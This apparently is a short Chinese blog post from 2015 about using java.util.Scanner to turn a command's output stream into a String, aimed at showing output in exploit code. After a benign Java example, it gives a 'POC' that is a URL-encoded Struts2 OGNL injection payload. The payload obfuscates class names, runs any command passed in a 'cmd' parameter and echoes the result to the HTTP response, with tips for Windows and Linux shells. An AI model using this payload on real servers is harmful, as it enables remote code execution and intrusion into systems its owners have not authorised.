2015-08-25 07:30:32

java inputstream toString

在以前的众多执行利用代码当中获取命里执行结果一直是一个比较麻烦的事情,常见的byte/char[50000]、readFully、readLine但总会有很多不便,比如说readLine的while循环读取问题。使用java.util.Scanner(xxx).useDelimiter(xxx)可以快速解决命令执行回显问题。
import java.io.IOException;
import java.io.InputStream;
public class Exec {
	public static void main(String[] args) {
		try {
			InputStream in = Runtime.getRuntime().exec("ifconfig").getInputStream();
			java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
			System.out.println(s.hasNext() ? s.next() : "");
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
}

利用Scanner读取文件内容到String:

String text = new Scanner( new File("poem.txt"), "UTF-8" ).useDelimiter("\\Z").next();>

POC简写:

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%23req.getParameter(%27cmd%27).toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\A%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}&cmd=ls%20-la

参数:cmd是需要执行的命令,windows下执行dir之类的命令的时候需要带上cmd /c dir,linux同理:/bin/sh -c xxx哦

1

发表回复